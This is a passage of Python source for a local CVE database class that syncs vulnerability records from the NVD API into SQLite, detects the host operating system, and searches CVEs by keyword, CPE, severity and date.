CREATE INDEX IF NOT EXISTS idx_cve_score ON cves(cvss_v3_score);
|
||||||
|
CREATE INDEX IF NOT EXISTS idx_cve_published ON cves(published);
|
||||||
|
CREATE INDEX IF NOT EXISTS idx_cpe_cve ON cve_cpes(cve_id);
|
||||||
|
CREATE INDEX IF NOT EXISTS idx_cpe_criteria ON cve_cpes(cpe_criteria);
|
||||||
|
CREATE INDEX IF NOT EXISTS idx_ref_cve ON cve_references(cve_id);
|
||||||
|
CREATE INDEX IF NOT EXISTS idx_weakness_cve ON cve_weaknesses(cve_id);
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __init__(self, db_path: str = None):
|
||||||
|
"""Initialize CVE database.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
db_path: Path to SQLite database. Defaults to data/cve/cve.db
|
||||||
|
"""
|
||||||
|
if db_path is None:
|
||||||
|
from core.paths import get_data_dir
|
||||||
|
self.data_dir = get_data_dir() / "cve"
|
||||||
|
self.db_path = self.data_dir / "cve.db"
|
||||||
|
else:
|
||||||
|
self.db_path = Path(db_path)
|
||||||
|
self.data_dir = self.db_path.parent
|
||||||
|
|
||||||
|
self.data_dir.mkdir(parents=True, exist_ok=True)
|
||||||
|
self.system_info = self._detect_system()
|
||||||
|
self._conn = None
|
||||||
|
self._lock = threading.Lock()
|
||||||
|
self._init_database()
|
||||||
|
|
||||||
|
def _get_connection(self) -> sqlite3.Connection:
|
||||||
|
"""Get thread-safe database connection."""
|
||||||
|
if self._conn is None:
|
||||||
|
self._conn = sqlite3.connect(str(self.db_path), check_same_thread=False)
|
||||||
|
self._conn.row_factory = sqlite3.Row
|
||||||
|
return self._conn
|
||||||
|
|
||||||
|
def _init_database(self):
|
||||||
|
"""Initialize database schema."""
|
||||||
|
with self._lock:
|
||||||
|
conn = self._get_connection()
|
||||||
|
conn.executescript(self.SCHEMA)
|
||||||
|
conn.commit()
|
||||||
|
|
||||||
|
def _detect_system(self) -> Dict[str, str]:
|
||||||
|
"""Detect the current system information."""
|
||||||
|
info = {
|
||||||
|
'os_type': platform.system().lower(),
|
||||||
|
'os_name': '',
|
||||||
|
'os_version': '',
|
||||||
|
'os_id': '',
|
||||||
|
'kernel': platform.release(),
|
||||||
|
'arch': platform.machine(),
|
||||||
|
'cpe_prefix': '',
|
||||||
|
}
|
||||||
|
|
||||||
|
if info['os_type'] == 'linux':
|
||||||
|
os_release = Path("/etc/os-release")
|
||||||
|
if os_release.exists():
|
||||||
|
content = os_release.read_text()
|
||||||
|
for line in content.split('\n'):
|
||||||
|
if line.startswith('ID='):
|
||||||
|
info['os_id'] = line.split('=')[1].strip('"').lower()
|
||||||
|
elif line.startswith('VERSION_ID='):
|
||||||
|
info['os_version'] = line.split('=')[1].strip('"')
|
||||||
|
elif line.startswith('PRETTY_NAME='):
|
||||||
|
info['os_name'] = line.split('=', 1)[1].strip('"')
|
||||||
|
|
||||||
|
if not info['os_id']:
|
||||||
|
if Path("/etc/debian_version").exists():
|
||||||
|
info['os_id'] = 'debian'
|
||||||
|
elif Path("/etc/redhat-release").exists():
|
||||||
|
info['os_id'] = 'rhel'
|
||||||
|
elif Path("/etc/arch-release").exists():
|
||||||
|
info['os_id'] = 'arch'
|
||||||
|
|
||||||
|
elif info['os_type'] == 'darwin':
|
||||||
|
info['os_id'] = 'macos'
|
||||||
|
try:
|
||||||
|
result = subprocess.run(['sw_vers', '-productVersion'],
|
||||||
|
capture_output=True, text=True, timeout=5)
|
||||||
|
info['os_version'] = result.stdout.strip()
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
elif info['os_type'] == 'windows':
|
||||||
|
info['os_id'] = 'windows'
|
||||||
|
info['os_version'] = platform.version()
|
||||||
|
info['os_name'] = platform.platform()
|
||||||
|
|
||||||
|
for os_key, cpe in self.OS_CPE_MAP.items():
|
||||||
|
if os_key in info['os_id']:
|
||||||
|
info['cpe_prefix'] = cpe
|
||||||
|
break
|
||||||
|
|
||||||
|
return info
|
||||||
|
|
||||||
|
def get_system_info(self) -> Dict[str, str]:
|
||||||
|
"""Get detected system information."""
|
||||||
|
return self.system_info.copy()
|
||||||
|
|
||||||
|
def get_db_stats(self) -> Dict[str, Any]:
|
||||||
|
"""Get database statistics."""
|
||||||
|
with self._lock:
|
||||||
|
conn = self._get_connection()
|
||||||
|
cursor = conn.cursor()
|
||||||
|
|
||||||
|
stats = {
|
||||||
|
'db_path': str(self.db_path),
|
||||||
|
'db_size_mb': round(self.db_path.stat().st_size / 1024 / 1024, 2) if self.db_path.exists() else 0,
|
||||||
|
'total_cves': 0,
|
||||||
|
'total_cpes': 0,
|
||||||
|
'last_sync': None,
|
||||||
|
'last_modified': None,
|
||||||
|
}
|
||||||
|
|
||||||
|
try:
|
||||||
|
cursor.execute("SELECT COUNT(*) FROM cves")
|
||||||
|
stats['total_cves'] = cursor.fetchone()[0]
|
||||||
|
|
||||||
|
cursor.execute("SELECT COUNT(*) FROM cve_cpes")
|
||||||
|
stats['total_cpes'] = cursor.fetchone()[0]
|
||||||
|
|
||||||
|
cursor.execute("SELECT value FROM metadata WHERE key = 'last_sync'")
|
||||||
|
row = cursor.fetchone()
|
||||||
|
if row:
|
||||||
|
stats['last_sync'] = row[0]
|
||||||
|
|
||||||
|
cursor.execute("SELECT value FROM metadata WHERE key = 'last_modified'")
|
||||||
|
row = cursor.fetchone()
|
||||||
|
if row:
|
||||||
|
stats['last_modified'] = row[0]
|
||||||
|
|
||||||
|
# Count by severity
|
||||||
|
cursor.execute("""
|
||||||
|
SELECT cvss_v3_severity, COUNT(*)
|
||||||
|
FROM cves
|
||||||
|
WHERE cvss_v3_severity IS NOT NULL
|
||||||
|
GROUP BY cvss_v3_severity
|
||||||
|
""")
|
||||||
|
stats['by_severity'] = {row[0]: row[1] for row in cursor.fetchall()}
|
||||||
|
|
||||||
|
except sqlite3.Error:
|
||||||
|
pass
|
||||||
|
|
||||||
|
return stats
|
||||||
|
|
||||||
|
# =========================================================================
|
||||||
|
# NVD API METHODS
|
||||||
|
# =========================================================================
|
||||||
|
|
||||||
|
def _make_nvd_request(self, params: Dict[str, str], verbose: bool = False) -> Optional[Dict]:
|
||||||
|
"""Make a request to the NVD API."""
|
||||||
|
url = f"{self.NVD_API_BASE}?{urllib.parse.urlencode(params)}"
|
||||||
|
|
||||||
|
if verbose:
|
||||||
|
print(f"{Colors.DIM} API: {url[:80]}...{Colors.RESET}")
|
||||||
|
|
||||||
|
headers = {
|
||||||
|
'User-Agent': 'AUTARCH-Security-Framework/1.0',
|
||||||
|
'Accept': 'application/json',
|
||||||
|
}
|
||||||
|
|
||||||
|
config = get_config()
|
||||||
|
api_key = config.get('nvd', 'api_key', fallback='')
|
||||||
|
if api_key:
|
||||||
|
headers['apiKey'] = api_key
|
||||||
|
|
||||||
|
try:
|
||||||
|
req = urllib.request.Request(url, headers=headers)
|
||||||
|
with urllib.request.urlopen(req, timeout=60) as response:
|
||||||
|
return json.loads(response.read().decode('utf-8'))
|
||||||
|
except urllib.error.HTTPError as e:
|
||||||
|
if verbose:
|
||||||
|
print(f"{Colors.RED}[X] NVD API error: {e.code} - {e.reason}{Colors.RESET}")
|
||||||
|
return None
|
||||||
|
except urllib.error.URLError as e:
|
||||||
|
if verbose:
|
||||||
|
print(f"{Colors.RED}[X] Network error: {e.reason}{Colors.RESET}")
|
||||||
|
return None
|
||||||
|
except Exception as e:
|
||||||
|
if verbose:
|
||||||
|
print(f"{Colors.RED}[X] Request failed: {e}{Colors.RESET}")
|
||||||
|
return None
|
||||||
|
|
||||||
|
def _parse_cve_data(self, vuln: Dict) -> Dict:
|
||||||
|
"""Parse CVE data from NVD API response."""
|
||||||
|
cve_data = vuln.get('cve', {})
|
||||||
|
cve_id = cve_data.get('id', '')
|
||||||
|
|
||||||
|
# Description
|
||||||
|
descriptions = cve_data.get('descriptions', [])
|
||||||
|
description = ''
|
||||||
|
for desc in descriptions:
|
||||||
|
if desc.get('lang') == 'en':
|
||||||
|
description = desc.get('value', '')
|
||||||
|
break
|
||||||
|
|
||||||
|
# CVSS scores
|
||||||
|
metrics = cve_data.get('metrics', {})
|
||||||
|
cvss_v3 = metrics.get('cvssMetricV31', metrics.get('cvssMetricV30', []))
|
||||||
|
cvss_v2 = metrics.get('cvssMetricV2', [])
|
||||||
|
|
||||||
|
cvss_v3_score = None
|
||||||
|
cvss_v3_severity = None
|
||||||
|
cvss_v3_vector = None
|
||||||
|
cvss_v2_score = None
|
||||||
|
cvss_v2_severity = None
|
||||||
|
cvss_v2_vector = None
|
||||||
|
|
||||||
|
if cvss_v3:
|
||||||
|
cvss_data = cvss_v3[0].get('cvssData', {})
|
||||||
|
cvss_v3_score = cvss_data.get('baseScore')
|
||||||
|
cvss_v3_severity = cvss_data.get('baseSeverity')
|
||||||
|
cvss_v3_vector = cvss_data.get('vectorString')
|
||||||
|
|
||||||
|
if cvss_v2:
|
||||||
|
cvss_data = cvss_v2[0].get('cvssData', {})
|
||||||
|
cvss_v2_score = cvss_data.get('baseScore')
|
||||||
|
cvss_v2_severity = cvss_v2[0].get('baseSeverity')
|
||||||
|
cvss_v2_vector = cvss_data.get('vectorString')
|
||||||
|
|
||||||
|
# CPEs (affected products)
|
||||||
|
cpes = []
|
||||||
|
for config in cve_data.get('configurations', []):
|
||||||
|
for node in config.get('nodes', []):
|
||||||
|
for match in node.get('cpeMatch', []):
|
||||||
|
cpes.append({
|
||||||
|
'criteria': match.get('criteria', ''),
|
||||||
|
'vulnerable': match.get('vulnerable', True),
|
||||||
|
'version_start': match.get('versionStartIncluding') or match.get('versionStartExcluding'),
|
||||||
|
'version_end': match.get('versionEndIncluding') or match.get('versionEndExcluding'),
|
||||||
|
})
|
||||||
|
|
||||||
|
# References
|
||||||
|
references = [
|
||||||
|
{'url': ref.get('url', ''), 'source': ref.get('source', '')}
|
||||||
|
for ref in cve_data.get('references', [])
|
||||||
|
]
|
||||||
|
|
||||||
|
# Weaknesses
|
||||||
|
weaknesses = []
|
||||||
|
for weakness in cve_data.get('weaknesses', []):
|
||||||
|
for desc in weakness.get('description', []):
|
||||||
|
if desc.get('lang') == 'en' and desc.get('value', '').startswith('CWE-'):
|
||||||
|
weaknesses.append(desc.get('value'))
|
||||||
|
|
||||||
|
return {
|
||||||
|
'cve_id': cve_id,
|
||||||
|
'description': description,
|
||||||
|
'published': cve_data.get('published', ''),
|
||||||
|
'modified': cve_data.get('lastModified', ''),
|
||||||
|
'cvss_v3_score': cvss_v3_score,
|
||||||
|
'cvss_v3_severity': cvss_v3_severity,
|
||||||
|
'cvss_v3_vector': cvss_v3_vector,
|
||||||
|
'cvss_v2_score': cvss_v2_score,
|
||||||
|
'cvss_v2_severity': cvss_v2_severity,
|
||||||
|
'cvss_v2_vector': cvss_v2_vector,
|
||||||
|
'cpes': cpes,
|
||||||
|
'references': references,
|
||||||
|
'weaknesses': weaknesses,
|
||||||
|
}
|
||||||
|
|
||||||
|
def _insert_cve(self, conn: sqlite3.Connection, cve_data: Dict):
|
||||||
|
"""Insert or update a CVE in the database."""
|
||||||
|
cursor = conn.cursor()
|
||||||
|
|
||||||
|
# Insert/update main CVE record
|
||||||
|
cursor.execute("""
|
||||||
|
INSERT OR REPLACE INTO cves
|
||||||
|
(cve_id, description, published, modified,
|
||||||
|
cvss_v3_score, cvss_v3_severity, cvss_v3_vector,
|
||||||
|
cvss_v2_score, cvss_v2_severity, cvss_v2_vector)
|
||||||
|
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
|
||||||
|
""", (
|
||||||
|
cve_data['cve_id'],
|
||||||
|
cve_data['description'],
|
||||||
|
cve_data['published'],
|
||||||
|
cve_data['modified'],
|
||||||
|
cve_data['cvss_v3_score'],
|
||||||
|
cve_data['cvss_v3_severity'],
|
||||||
|
cve_data['cvss_v3_vector'],
|
||||||
|
cve_data['cvss_v2_score'],
|
||||||
|
cve_data['cvss_v2_severity'],
|
||||||
|
cve_data['cvss_v2_vector'],
|
||||||
|
))
|
||||||
|
|
||||||
|
cve_id = cve_data['cve_id']
|
||||||
|
|
||||||
|
# Clear existing related data
|
||||||
|
cursor.execute("DELETE FROM cve_cpes WHERE cve_id = ?", (cve_id,))
|
||||||
|
cursor.execute("DELETE FROM cve_references WHERE cve_id = ?", (cve_id,))
|
||||||
|
cursor.execute("DELETE FROM cve_weaknesses WHERE cve_id = ?", (cve_id,))
|
||||||
|
|
||||||
|
# Insert CPEs
|
||||||
|
for cpe in cve_data['cpes']:
|
||||||
|
cursor.execute("""
|
||||||
|
INSERT INTO cve_cpes (cve_id, cpe_criteria, vulnerable, version_start, version_end)
|
||||||
|
VALUES (?, ?, ?, ?, ?)
|
||||||
|
""", (cve_id, cpe['criteria'], 1 if cpe['vulnerable'] else 0,
|
||||||
|
cpe['version_start'], cpe['version_end']))
|
||||||
|
|
||||||
|
# Insert references (limit to 10)
|
||||||
|
for ref in cve_data['references'][:10]:
|
||||||
|
cursor.execute("""
|
||||||
|
INSERT INTO cve_references (cve_id, url, source)
|
||||||
|
VALUES (?, ?, ?)
|
||||||
|
""", (cve_id, ref['url'], ref['source']))
|
||||||
|
|
||||||
|
# Insert weaknesses
|
||||||
|
for cwe in cve_data['weaknesses']:
|
||||||
|
cursor.execute("""
|
||||||
|
INSERT INTO cve_weaknesses (cve_id, cwe_id)
|
||||||
|
VALUES (?, ?)
|
||||||
|
""", (cve_id, cwe))
|
||||||
|
|
||||||
|
# =========================================================================
|
||||||
|
# DATABASE SYNC
|
||||||
|
# =========================================================================
|
||||||
|
|
||||||
|
def sync_database(
|
||||||
|
self,
|
||||||
|
days_back: int = 120,
|
||||||
|
full_sync: bool = False,
|
||||||
|
progress_callback: Callable[[str, int, int], None] = None,
|
||||||
|
verbose: bool = True
|
||||||
|
) -> Dict[str, Any]:
|
||||||
|
"""Synchronize database with NVD.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
days_back: For incremental sync, get CVEs from last N days.
|
||||||
|
full_sync: If True, download entire database (WARNING: slow, 200k+ CVEs).
|
||||||
|
progress_callback: Callback function(message, current, total).
|
||||||
|
verbose: Show progress messages.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
Sync statistics dictionary.
|
||||||
|
"""
|
||||||
|
stats = {
|
||||||
|
'started': datetime.now().isoformat(),
|
||||||
|
'cves_processed': 0,
|
||||||
|
'cves_added': 0,
|
||||||
|
'cves_updated': 0,
|
||||||
|
'errors': 0,
|
||||||
|
'completed': False,
|
||||||
|
}
|
||||||
|
|
||||||
|
if verbose:
|
||||||
|
print(f"{Colors.CYAN}[*] Starting CVE database sync...{Colors.RESET}")
|
||||||
|
|
||||||
|
# Determine date range
|
||||||
|
if full_sync:
|
||||||
|
# Start from 1999 (first CVEs)
|
||||||
|
start_date = datetime(1999, 1, 1)
|
||||||
|
if verbose:
|
||||||
|
print(f"{Colors.YELLOW}[!] Full sync requested - this may take a while...{Colors.RESET}")
|
||||||
|
else:
|
||||||
|
start_date = datetime.utcnow() - timedelta(days=days_back)
|
||||||
|
|
||||||
|
end_date = datetime.utcnow()
|
||||||
|
|
||||||
|
# Calculate total CVEs to fetch (estimate)
|
||||||
|
params = {
|
||||||
|
'pubStartDate': start_date.strftime('%Y-%m-%dT00:00:00.000'),
|
||||||
|
'pubEndDate': end_date.strftime('%Y-%m-%dT23:59:59.999'),
|
||||||
|
'resultsPerPage': '1',
|
||||||
|
}
|
||||||
|
|
||||||
|
response = self._make_nvd_request(params, verbose)
|
||||||
|
if not response:
|
||||||
|
if verbose:
|
||||||
|
print(f"{Colors.RED}[X] Failed to connect to NVD API{Colors.RESET}")
|
||||||
|
return stats
|
||||||
|
|
||||||
|
total_results = response.get('totalResults', 0)
|
||||||
|
|
||||||
|
if verbose:
|
||||||
|
print(f"{Colors.CYAN}[*] Found {total_results:,} CVEs to process{Colors.RESET}")
|
||||||
|
|
||||||
|
if total_results == 0:
|
||||||
|
stats['completed'] = True
|
||||||
|
return stats
|
||||||
|
|
||||||
|
# Process in batches
|
||||||
|
start_index = 0
|
||||||
|
batch_num = 0
|
||||||
|
total_batches = (total_results + self.RESULTS_PER_PAGE - 1) // self.RESULTS_PER_PAGE
|
||||||
|
|
||||||
|
with self._lock:
|
||||||
|
conn = self._get_connection()
|
||||||
|
|
||||||
|
while start_index < total_results:
|
||||||
|
batch_num += 1
|
||||||
|
|
||||||
|
if verbose:
|
||||||
|
pct = int((start_index / total_results) * 100)
|
||||||
|
print(f"{Colors.CYAN}[*] Batch {batch_num}/{total_batches} ({pct}%) - {start_index:,}/{total_results:,}{Colors.RESET}")
|
||||||
|
|
||||||
|
if progress_callback:
|
||||||
|
progress_callback(f"Downloading batch {batch_num}/{total_batches}", start_index, total_results)
|
||||||
|
|
||||||
|
params = {
|
||||||
|
'pubStartDate': start_date.strftime('%Y-%m-%dT00:00:00.000'),
|
||||||
|
'pubEndDate': end_date.strftime('%Y-%m-%dT23:59:59.999'),
|
||||||
|
'resultsPerPage': str(self.RESULTS_PER_PAGE),
|
||||||
|
'startIndex': str(start_index),
|
||||||
|
}
|
||||||
|
|
||||||
|
response = self._make_nvd_request(params, verbose=False)
|
||||||
|
|
||||||
|
if not response:
|
||||||
|
stats['errors'] += 1
|
||||||
|
if verbose:
|
||||||
|
print(f"{Colors.YELLOW}[!] Batch {batch_num} failed, retrying...{Colors.RESET}")
|
||||||
|
time.sleep(6) # NVD rate limit
|
||||||
|
continue
|
||||||
|
|
||||||
|
vulnerabilities = response.get('vulnerabilities', [])
|
||||||
|
|
||||||
|
for vuln in vulnerabilities:
|
||||||
|
try:
|
||||||
|
cve_data = self._parse_cve_data(vuln)
|
||||||
|
self._insert_cve(conn, cve_data)
|
||||||
|
stats['cves_processed'] += 1
|
||||||
|
stats['cves_added'] += 1
|
||||||
|
except Exception as e:
|
||||||
|
stats['errors'] += 1
|
||||||
|
if verbose:
|
||||||
|
print(f"{Colors.RED}[X] Error processing CVE: {e}{Colors.RESET}")
|
||||||
|
|
||||||
|
conn.commit()
|
||||||
|
start_index += self.RESULTS_PER_PAGE
|
||||||
|
|
||||||
|
# Rate limiting - NVD allows 5 requests per 30 seconds without API key
|
||||||
|
config = get_config()
|
||||||
|
if not config.get('nvd', 'api_key', fallback=''):
|
||||||
|
time.sleep(6)
|
||||||
|
else:
|
||||||
|
time.sleep(0.6) # With API key: 50 requests per 30 seconds
|
||||||
|
|
||||||
|
# Update metadata
|
||||||
|
conn.execute("""
|
||||||
|
INSERT OR REPLACE INTO metadata (key, value) VALUES ('last_sync', ?)
|
||||||
|
""", (datetime.now().isoformat(),))
|
||||||
|
conn.execute("""
|
||||||
|
INSERT OR REPLACE INTO metadata (key, value) VALUES ('last_modified', ?)
|
||||||
|
""", (end_date.isoformat(),))
|
||||||
|
conn.commit()
|
||||||
|
|
||||||
|
stats['completed'] = True
|
||||||
|
stats['finished'] = datetime.now().isoformat()
|
||||||
|
|
||||||
|
if verbose:
|
||||||
|
print(f"{Colors.GREEN}[+] Sync complete: {stats['cves_processed']:,} CVEs processed{Colors.RESET}")
|
||||||
|
|
||||||
|
return stats
|
||||||
|
|
||||||
|
def sync_recent(self, days: int = 7, verbose: bool = True) -> Dict[str, Any]:
|
||||||
|
"""Quick sync of recent CVEs only."""
|
||||||
|
return self.sync_database(days_back=days, full_sync=False, verbose=verbose)
|
||||||
|
|
||||||
|
# =========================================================================
|
||||||
|
# QUERY METHODS
|
||||||
|
# =========================================================================
|
||||||
|
|
||||||
|
def search_cves(
|
||||||
|
self,
|
||||||
|
keyword: str = None,
|
||||||
|
cpe_pattern: str = None,
|
||||||
|
severity: str = None,
|
||||||
|
min_score: float = None,
|
||||||
|
max_results: int = 100,
|
||||||
|
days_back: int = None
|
||||||
|
) -> List[Dict]:
|
||||||
|
"""Search CVEs in local database.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
keyword: Search in CVE ID or description.
|
||||||
|
cpe_pattern: CPE pattern to match (uses LIKE).
|
||||||
|
severity: Filter by severity (LOW, MEDIUM, HIGH, CRITICAL).
|
||||||
|
min_score: Minimum CVSS v3 score.
|
||||||
|
max_results: Maximum results to return.
|
||||||
|
days_back: Only return CVEs from last N days.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
List of matching CVE dictionaries.
|
||||||
|
"""
|
||||||
|
with self._lock:
|
||||||
|
conn = self._get_connection()
|
||||||
|
cursor = conn.cursor()
|
||||||
|
|
||||||
|
query = "SELECT DISTINCT c.* FROM cves c"
|
||||||
|
conditions = []
|
||||||
|
params = []
|
||||||
|
|
||||||
|
if cpe_pattern:
|
||||||
|
query += " LEFT JOIN cve_cpes cp ON c.cve_id = cp.cve_id"
|
||||||
|
conditions.append("cp.cpe_criteria LIKE ?")
|
||||||
|
params.append(f"%{cpe_pattern}%")
|
||||||
|
|
||||||
|
if keyword:
|
||||||
|
conditions.append("(c.cve_id LIKE ? OR c.description LIKE ?)")
|
||||||
|
params.extend([f"%{keyword}%", f"%{keyword}%"])
|
||||||
|
|
||||||
|
if severity:
|
||||||
|
conditions.append("c.cvss_v3_severity = ?")
|
||||||
|
params.append(severity.upper())
|
||||||
|
|
||||||
|
if min_score is not None:
|
||||||
|
conditions.append("c.cvss_v3_score >= ?")
|
||||||
|
params.append(min_score)
|
||||||
|
|
||||||
|
if days_back:
|
||||||
|
cutoff = (datetime.utcnow() - timedelta(days=days_back)).strftime('%Y-%m-%d')
|
||||||
|
conditions.append("c.published >= ?")
|
||||||
|
params.append(cutoff)
|
||||||
|
|
||||||
|
if conditions:
|
||||||
|
query += " WHERE " + " AND ".join(conditions)
|
||||||
|
|
||||||
|
query += " ORDER BY c.cvss_v3_score DESC NULLS LAST, c.published DESC"
|
||||||
|
query += f" LIMIT {max_results}"
|
||||||
|
|
||||||
|
cursor.execute(query, params)
|
||||||
|
rows = cursor.fetchall()
|
||||||
|
|
||||||
|
return [self._row_to_dict(row) for row in rows]
|
||||||
|
|
||||||
|
def get_cve(self, cve_id: str) -> Optional[Dict]:
|
||||||
|
"""Get detailed information about a specific CVE.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
cve_id: The CVE ID (e.g., CVE-2024-1234).
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
CVE details dictionary or None if not found.
|
||||||
|
"""
|
||||||
|
with self._lock:
|
||||||
|
conn = self._get_connection()
|
||||||
|
cursor = conn.cursor()
|
||||||
|
|
||||||
|
# Get main CVE data
|
||||||
|
cursor.execute("SELECT * FROM cves WHERE cve_id = ?", (cve_id,))
|
||||||
|
row = cursor.fetchone()
|
||||||
|
|
||||||
|
if not row:
|
||||||
|
return None
|
||||||
|
|
||||||
|
cve = self._row_to_dict(row)
|
||||||
|
|
||||||
|
# Get CPEs
|
||||||
|
cursor.execute("SELECT * FROM cve_cpes WHERE cve_id = ?", (cve_id,))
|
||||||
|
cve['cpes'] = [dict(r) for r in cursor.fetchall()]
|
||||||
|
|
||||||
|
# Get references
|
||||||
|
cursor.execute("SELECT url, source FROM cve_references WHERE cve_id = ?", (cve_id,))
|
||||||
|
cve['references'] = [dict(r) for r in cursor.fetchall()]
|
||||||
|
|
||||||
|
# Get weaknesses
|
||||||
|
cursor.execute("SELECT cwe_id FROM cve_weaknesses WHERE cve_id = ?", (cve_id,))
|
||||||
|
cve['weaknesses'] = [r['cwe_id'] for r in cursor.fetchall()]
|
||||||
|
|
||||||
|
return cve
|
||||||
|
|
||||||
|
def get_system_cves(
|
||||||
|
self,
|
||||||
|
severity_filter: str = None,
|
||||||
|
max_results: int = 100
|
||||||
|
) -> List[Dict]:
|
||||||
|
"""Get CVEs relevant to the detected system.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
severity_filter: Filter by severity.
|
||||||
|
max_results: Maximum results.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
List of relevant CVEs.
|
||||||
|
"""
|
||||||
|
cpe_prefix = self.system_info.get('cpe_prefix', '')
|
||||||
|
if not cpe_prefix:
|
||||||
|
return []
|
||||||
|
|
||||||
|
# Build CPE pattern for this system
|
||||||
|
cpe_pattern = cpe_prefix
|
||||||
|
if self.system_info.get('os_version'):
|
||||||
|
version = self.system_info['os_version'].split('.')[0]
|
||||||
|
cpe_pattern = f"{cpe_prefix}:{version}"
|
||||||
|
|
||||||
|
return self.search_cves(
|
||||||
|
cpe_pattern=cpe_pattern,
|
||||||
|
severity=severity_filter,
|
||||||
|
max_results=max_results
|
||||||
|
)
|
||||||
|
|
||||||
|
def get_software_cves(
|
||||||
|
self,
|
||||||
|
software: str,
|
||||||
|
vendor: str = None,
|
||||||
|
version: str = None,
|
||||||
|
max_results: int = 100
|
||||||
|
) -> List[Dict]:
|
||||||
|
"""Search CVEs for specific software.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
software: Software/product name.
|
||||||
|
vendor: Vendor name (optional).
|
||||||
|
version: Software version (optional).
|
||||||
|
max_results: Maximum results.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
List of CVEs.
|
||||||
|
"""
|
||||||
|
# Try CPE-based search first
|
||||||
|
cpe_pattern = software.lower().replace(' ', '_')
|
||||||
|
if vendor:
|
||||||
|
cpe_pattern = f"{vendor.lower()}:{cpe_pattern}"
|
||||||
|
if version:
|
||||||
|
cpe_pattern = f"{cpe_pattern}:{version}"
|
||||||
|
|
||||||
|
results = self.search_cves(cpe_pattern=cpe_pattern, max_results=max_results)
|
||||||
|
|
||||||
|
# Also search by keyword if CPE search returns few results
|
||||||
|
if len(results) < 10:
|
||||||
|
keyword = software
|
||||||
|
if vendor:
|
||||||
|
keyword = f"{vendor} {software}"
|
||||||
|
keyword_results = self.search_cves(keyword=keyword, max_results=max_results)
|
||||||
|
|
||||||
|
# Merge results, avoiding duplicates
|
||||||
|
seen = {r['cve_id'] for r in results}
|
||||||
|
for r in keyword_results:
|
||||||
|
if r['cve_id'] not in seen:
|
||||||
|
results.append(r)
|
||||||
|
seen.add(r['cve_id'])
|
||||||
|
|
||||||
|
return results[:max_results]
|
||||||
|
|
||||||
|
def get_cves_by_severity(self, severity: str, max_results: int = 100) -> List[Dict]:
|
||||||
|
"""Get CVEs by severity level."""
|
||||||
|
return self.search_cves(severity=severity, max_results=max_results)
|
||||||
|
|
||||||
|
def get_recent_cves(self, days: int = 30, max_results: int = 100) -> List[Dict]:
|
||||||
|
"""Get recently published CVEs."""
|
||||||
|
return self.search_cves(days_back=days, max_results=max_results)
|
||||||
|
|
||||||
|
def _row_to_dict(self, row: sqlite3.Row) -> Dict:
|
||||||
|
"""Convert database row to dictionary."""
|
||||||
|
return {
|
||||||
|
'cve_id': row['cve_id'],
|
||||||
|
'id': row['cve_id'], # Alias for compatibility
|
||||||
|
'description': row['description'],
|
||||||
|
'published': row['published'],
|
||||||
|
'modified': row['modified'],
|
||||||
|
'cvss_score': row['cvss_v3_score'] or row['cvss_v2_score'] or 0,
|
||||||
|
'cvss_v3_score': row['cvss_v3_score'],
|
||||||
|
'cvss_v3_severity': row['cvss_v3_severity'],
|
||||||
|
'cvss_v3_vector': row['cvss_v3_vector'],
|
||||||
|
'cvss_v2_score': row['cvss_v2_score'],
|
||||||
|
'cvss_v2_severity': row['cvss_v2_severity'],
|
||||||
|
'cvss_v2_vector': row['cvss_v2_vector'],
|
||||||
|
'severity': row['cvss_v3_severity'] or row['cvss_v2_severity'] or 'UNKNOWN',
|
||||||
|
}
|
||||||
|
|
||||||
|
# =========================================================================
|
||||||
|
# ONLINE FALLBACK
|
||||||
|
# =========================================================================
|
||||||
|
|
||||||
|
def fetch_cve_online(self, cve_id: str, verbose: bool = False) -> Optional[Dict]:
|
||||||
|
"""Fetch a specific CVE from NVD API (online fallback).
|
||||||
|
|
||||||
|
Args:
|
||||||
|
cve_id: The CVE ID.
|
||||||
|
verbose: Show progress.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
CVE details or None.
|
||||||
|
"""
|
||||||
|
params = {'cveId': cve_id}
|
||||||
|
|
||||||
|
if verbose:
|
||||||
|
print(f"{Colors.CYAN}[*] Fetching {cve_id} from NVD...{Colors.RESET}")
|
||||||
|
|
||||||
|
response = self._make_nvd_request(params, verbose)
|
||||||
|
|
||||||
|
if not response or not response.get('vulnerabilities'):
|
||||||
|
return None
|
||||||
|
|
||||||
|
cve_data = self._parse_cve_data(response['vulnerabilities'][0])
|
||||||
|
|
||||||
|
# Store in database
|
||||||
|
with self._lock:
|
||||||
|
conn = self._get_connection()
|
||||||
|
self._insert_cve(conn, cve_data)
|
||||||
|
conn.commit()
|
||||||
|
|
||||||
|
return self.get_cve(cve_id)
|
||||||
|
|
||||||
|
def search_online(
|
||||||
|
self,
|
||||||
|
keyword: str = None,
|
||||||
|
cpe_name: str = None,
|
||||||
|
severity: str = None,
|
||||||
|
days_back: int = 120,
|
||||||
|
max_results: int = 100,
|
||||||
|
verbose: bool = False
|
||||||
|
) -> List[Dict]:
|
||||||
|
"""Search NVD API directly (online mode).
|
||||||
|
|
||||||
|
Use this when local database is empty or for real-time results.
|
||||||
|
"""
|
||||||
|
params = {
|
||||||
|
'resultsPerPage': str(min(max_results, 2000)),
|
||||||
|
}
|
||||||
|
|
||||||
|
if keyword:
|
||||||
|
params['keywordSearch'] = keyword
|
||||||
|
|
||||||
|
if cpe_name:
|
||||||
|
params['cpeName'] = cpe_name
|
||||||
|
|
||||||
|
if severity:
|
||||||
|
params['cvssV3Severity'] = severity.upper()
|
||||||
|
|
||||||
|
if days_back > 0:
|
||||||
|
end_date = datetime.utcnow()
|
||||||
|
start_date = end_date - timedelta(days=days_back)
|
||||||
|
params['pubStartDate'] = start_date.strftime('%Y-%m-%dT00:00:00.000')
|
||||||
|
params['pubEndDate'] = end_date.strftime('%Y-%m-%dT23:59:59.999')
|
||||||
|
